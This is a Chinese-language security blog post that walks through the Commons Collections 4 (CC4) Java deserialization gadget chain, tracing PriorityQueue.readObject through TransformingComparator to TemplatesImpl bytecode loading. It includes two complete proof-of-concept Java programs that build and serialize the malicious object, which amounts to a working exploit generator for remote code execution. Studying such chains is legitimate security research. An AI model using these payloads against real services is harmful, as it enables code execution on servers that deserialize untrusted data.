获取中...

-

Just a minute...

新依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

原理

后半段是CC3的后半段,利用transformer代码执行。我们需要找到新的调用transform函数的方法。

由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。

寻找

CC4链主要利用的是TransformingComparator类里的compare方法

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这个方法里调用了transform方法。接下来往回找,谁调用了compare方法。

在PriorityQueue类里的siftDownUsingComparator方法调用了compare方法。

1
2
3
4
5
private void siftDownUsingComparator(int k, E x) {
…………
if (comparator.compare(x, (E) c) <= 0)
…………
}

顺着链子继续找,在本类的siftDown方法调用了siftDownUsingComparator方法:

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

顺着链子继续找,在本类的heapify方法调用了siftDown方法:

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

顺着链子继续找,在本类的readObject方法调用了heapify方法:

1
2
3
4
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
…………
heapify();
}

所以整条链子是这样的:

1
2
在PriorityQueue中:
readObject->heapify->siftDown->siftDownUsingComparator->TransformingComparator类的compare……

image-20240417185120263

构造

PriorityQueue类是可序列化的,我们直接new,然后把相应的对象传进去就可以了。

1
2
3
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

但是仅仅这样还是不能触发反序列化,我们进入调试:

image-20240417191714591

原因是在heapify方法里size为零,不能进入siftDown方法,直接出去了。

这里有两个方法:

方法一:

反射修改size,让size等于2。

1
2
3
4
Class priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);

修改size的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); //TemplatesImpl类可以序列化,直接new
//反射修改类的属性_name
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

//反射修改类的属性_bytecodes
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); //方法一
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//方法一修改size
Class priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);

serialize(priorityQueue);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

方法二:

我们也能通过该类自带的add方法给size传值,我们进入add:

1
2
3
public boolean add(E e) {
return offer(e);
}

进入offer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1; //给size传值
if (i == 0)
queue[0] = e;
else
siftUp(i, e); //siftUP方法
return true;
}

进入siftUP方法:

1
2
3
4
5
6
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

发现siftUP和siftDown方法几乎是一模一样的。

这里跟URLDNS链差不多,如果我们直接调用add方法,这里就会走完整条链子,但是并不会反序列化,所以我们需要先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer。

1
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

add后反射修改回去即可:

1
2
3
4
5
6
7
priorityQueue.add(1);
priorityQueue.add(2);

Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

完整CC4链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); //TemplatesImpl类可以序列化,直接new
//反射修改类的属性_name
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

//反射修改类的属性_bytecodes
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); //方法一
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); //方法二
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//方法一修改size
// Class priorityQueueClass = priorityQueue.getClass();
// Field sizeField = priorityQueueClass.getDeclaredField("size");
// sizeField.setAccessible(true);
// sizeField.set(priorityQueue,2);

//方法二
priorityQueue.add(1);
priorityQueue.add(2);

Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}
相关文章
评论
分享
  • JAVA反序列化——CB链

    依赖jdk:jdk8u65 CB:commons-beanutils 1.8.3 在pom.xml里添加 12345678910<dependency> <groupId>commons-beanut...

    JAVA反序列化——CB链
  • JAVA反序列化——CC7链及CC链总结

    跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。 这次是利用Hashtable.readObject方法,这个类是可以序列化的。 寻找在AbstractMap类里的equals方法调用了get方法: ...

    JAVA反序列化——CC7链及CC链总结
  • JAVA反序列化——CC5链

    CC5也是在CC1的路线上改了改入口类。 从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject 沿用CC1从LazyMap...

    JAVA反序列化——CC5链
  • JAVA反序列化——另一条CC1链

    之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform 而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransfor...

    JAVA反序列化——另一条CC1链
  • JAVA反序列化——CC2链

    详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。 123456CC4:Transformer[] tra...

    JAVA反序列化——CC2链
  • JAVA反序列化——CC3链

    这条链是利用动态类加载来经行代码执行。 原理根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。 因为是动态类加载,我们...

    JAVA反序列化——CC3链
  • JAVA反序列化——CC6链

    CC6链其实就是URLDNS链的前半加上CC1链的后半。 链子构建入口类跟CC1链完全一致,这里不再赘述。 在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类...

    JAVA反序列化——CC6链
  • JAVA反序列化——CC1链

    前言CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。 cc1链要求java版本小于jdk8u71 我这里用的JDK版本是8u66 因为在高版本这条链子最后的annotationInvocat...

    JAVA反序列化——CC1链
  • java反序列化——URLDNS链

    原理:根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。 而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法: 而在这...

    java反序列化——URLDNS链
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp